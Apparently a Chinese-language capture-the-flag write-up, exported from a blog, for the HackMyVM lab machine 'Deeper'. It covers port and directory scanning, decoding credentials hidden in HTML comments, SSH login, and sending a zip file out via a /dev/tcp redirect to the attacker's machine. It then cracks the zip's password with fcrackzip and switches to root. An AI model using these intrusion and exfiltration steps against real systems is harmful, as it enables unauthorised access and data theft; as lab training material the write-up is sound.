{"id":550,"date":"2024-04-14T15:48:43","date_gmt":"2024-04-14T07:48:43","guid":{"rendered":"http:\/\/162.14.82.114\/?p=550"},"modified":"2024-04-14T15:48:43","modified_gmt":"2024-04-14T07:48:43","slug":"hmv-_-deeper","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/550\/04\/14\/2024\/","title":{"rendered":"hmv[-_-]Deeper"},"content":{"rendered":"

Deeper<\/h1>\n

\"image-20240414151141950\"<\/div>
\n
\"image-20240414151037636\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
rustscan -a 172.20.10.3 -- -A<\/code><\/pre>\n
Open 172.20.10.3:22\nOpen 172.20.10.3:80\n\nPORT   STATE SERVICE REASON  VERSION\n22\/tcp open  ssh     syn-ack OpenSSH 9.2p1 Debian 2 (protocol 2.0)\n| ssh-hostkey: \n|   256 37:d1:6f:b5:a4:96:e8:78:18:c7:77:d0:3e:20:4e:55 (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBP0G2tWy4w\/Qxs8qOXl67kW082JT6kvWM9CaV4Ycd5xfbh2YW6SbvGD7LUGAq+dlr4hMsmqlb3qa5OxGXxqfEjU=\n|   256 cf:5d:90:f3:37:3f:a4:e2:ba:d5:d7:25:c6:4a:a0:61 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMznQqkhSVgCjaHlx4JkgMQc2Ecl+JjVdL7tTAgj9Fyy\n80\/tcp open  http    syn-ack Apache httpd 2.4.57 ((Debian))\n| http-methods: \n|_  Supported Methods: GET POST OPTIONS HEAD\n|_http-server-header: Apache\/2.4.57 (Debian)\n|_http-title: Deeper\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
gobuster dir -u http:\/\/172.20.10.3 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,zip,git,jpg,txt,png<\/code><\/pre>\n
===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/172.20.10.3\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,zip,git,jpg,txt,png\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/img                  (Status: 301) [Size: 308] [--> http:\/\/172.20.10.3\/img\/]\n\/server-status        (Status: 403) [Size: 276]\nProgress: 1543920 \/ 1543927 (100.00%)\n===============================================================\nFinished\n===============================================================<\/code><\/pre>\n
\u6f0f\u6d1e\u626b\u63cf<\/h3>\n
nikto -h http:\/\/172.20.10.3<\/code><\/pre>\n
- Nikto v2.5.0\n---------------------------------------------------------------------------\n+ Target IP:          172.20.10.3\n+ Target Hostname:    172.20.10.3\n+ Target Port:        80\n+ Start Time:         2024-04-14 03:14:26 (GMT-4)\n---------------------------------------------------------------------------\n+ Server: Apache\/2.4.57 (Debian)\n+ \/: The anti-clickjacking X-Frame-Options header is not present. See: https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/HTTP\/Headers\/X-Frame-Options\n+ \/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https:\/\/www.netsparker.com\/web-vulnerability-scanner\/vulnerabilities\/missing-content-type-header\/\n+ No CGI Directories found (use '-C all' to force check all possible dirs)\n+ \/: Server may leak inodes via ETags, header found with file \/, inode: 29a, size: 603c54eaf4155, mtime: gzip. See: http:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2003-1418\n+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .\n+ \/img\/: Directory indexing found.\n+ \/img\/: This might be interesting.\n+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host\n+ End Time:           2024-04-14 03:14:52 (GMT-4) (26 seconds)\n---------------------------------------------------------------------------\n+ 1 host(s) tested<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20240414151733834\"<\/div>
\n
\"image-20240414151806903\"<\/div>
\n
\"image-20240414151823892\"<\/div><\/p>\n
\u67e5\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff1a<\/p>\n
view-source:http:\/\/172.20.10.3\/\n.......\n<!-- GO "deeper" -->\n.......<\/code><\/pre>\n
view-source:http:\/\/172.20.10.3\/deeper\/\n.......\nYou have to go deeper\n.......\n<!-- GO evendeeper -->\n.......<\/code><\/pre>\n
view-source:http:\/\/172.20.10.3\/deeper\/evendeeper\/\n.......\nNow start digging\n.......\n.......                        <!-- USER .- .-.. .. -.-. . -->\n.......\n<!-- PASS 53586470624778486230526c5a58426c63673d3d --><\/code><\/pre>\n
\"image-20240414152643403\"<\/div>
\n
\"image-20240414152800304\"<\/div><\/p>\n
alice\nIwillGoDeeper<\/code><\/pre>\n
\u5c1d\u8bd5ssh\u8fde\u63a5<\/h3>\n
\"image-20240414153336678\"<\/div><\/p>\n
\u6210\u529f\uff01<\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
alice@deeper:~$ ls\nuser.txt\nalice@deeper:~$ ls -la\ntotal 32\ndrwxr--r-- 3 alice alice 4096 Aug 26  2023 .\ndrwxr-xr-x 4 root  root  4096 Aug 25  2023 ..\nlrwxrwxrwx 1 alice alice    9 Aug 25  2023 .bash_history -> \/dev\/null\n-rw-r--r-- 1 alice alice  220 Aug 25  2023 .bash_logout\n-rw-r--r-- 1 alice alice 3526 Aug 25  2023 .bashrc\n-rw-r--r-- 1 alice alice   41 Aug 25  2023 .bob.txt\ndrwxr-xr-x 3 alice alice 4096 Aug 26  2023 .local\n-rw-r--r-- 1 alice alice  807 Aug 25  2023 .profile\n-rw-r--r-- 1 alice alice   33 Aug 26  2023 user.txt\nalice@deeper:~$ cat user.txt \n7e267b737cc121c29b496dc3bcffa5a7\nalice@deeper:~$ cat .bob.txt \n535746745247566c634556756233566e61413d3d\nalice@deeper:~$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\n_apt:x:42:65534::\/nonexistent:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:998:998:systemd Network Management:\/:\/usr\/sbin\/nologin\nsystemd-timesync:x:997:997:systemd Time Synchronization:\/:\/usr\/sbin\/nologin\nmessagebus:x:100:107::\/nonexistent:\/usr\/sbin\/nologin\nsshd:x:101:65534::\/run\/sshd:\/usr\/sbin\/nologin\nalice:x:1000:1000:alice,,,:\/home\/alice:\/bin\/bash\nbob:x:1001:1001:bob,,,:\/home\/bob:\/bin\/bash<\/code><\/pre>\n
\"image-20240414153505912\"<\/div><\/p>\n
\u5207\u6362\u7528\u6237<\/h3>\n
bob\nIamDeepEnough<\/code><\/pre>\n
\u53d1\u73b0\u76ee\u5f55\u4e0b\u5b58\u5728\u4e00\u4e2a\u538b\u7f29\u5305\uff0c\u4f46\u662f\u672c\u673a\u6ca1\u6709unzip\u5de5\u5177\uff0c\u4f20\u5230\u672c\u673a\u6765\u8fdb\u884c\u89e3\u538b\uff1a<\/p>\n
# kali\nnc -lp 8888 > root.zip\n# bob\ncat root.zip > \/dev\/tcp\/172.20.10.8\/8888<\/code><\/pre>\n
\u89e3\u538b\u4e00\u4e0b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/deeper]\n\u2514\u2500$ ls\nroot.zip\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/deeper]\n\u2514\u2500$ unzip root.zip   \nArchive:  root.zip\n[root.zip] root.txt password:\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/deeper]\n\u2514\u2500$ fcrackzip -u -D -p \/usr\/share\/wordlists\/rockyou.txt root.zip\n\nPASSWORD FOUND!!!!: pw == bob\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/deeper]\n\u2514\u2500$ unzip root.zip\nArchive:  root.zip\n[root.zip] root.txt password: \n extracting: root.txt                \n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/deeper]\n\u2514\u2500$ cat root.txt                                           \nroot:IhateMyPassword<\/code><\/pre>\n
\u5207\u6362root<\/h3>\n
bob@deeper:~$ su -l root\nPassword: \nroot@deeper:~# pwd\n\/root\nroot@deeper:~# ls -la\ntotal 32\ndrwx------  4 root root 4096 Aug 26  2023 .\ndrwxr-xr-x 18 root root 4096 Aug 25  2023 ..\nlrwxrwxrwx  1 root root    9 Aug 25  2023 .bash_history -> \/dev\/null\n-rw-r--r--  1 root root  571 Apr 10  2021 .bashrc\n-rw-------  1 root root   20 Aug 25  2023 .lesshst\ndrwxr-xr-x  3 root root 4096 Aug 25  2023 .local\n-rw-r--r--  1 root root  161 Jul  9  2019 .profile\n-rw-r--r--  1 root root   33 Aug 26  2023 root.txt\ndrwx------  2 root root 4096 Aug 25  2023 .ssh\nroot@deeper:~# cat root.txt \ndbc56c8328ee4d00bbdb658a8fc3e895<\/code><\/pre>\n
\u81f3\u6b64\uff0c\u7ed3\u675f\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
Deeper \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf rustscan -a 172.20.10.3 — -A Open 172 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24,18],"tags":[],"class_list":["post-550","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/550","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=550"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/550\/revisions"}],"predecessor-version":[{"id":551,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/550\/revisions\/551"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=550"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=550"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=550"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}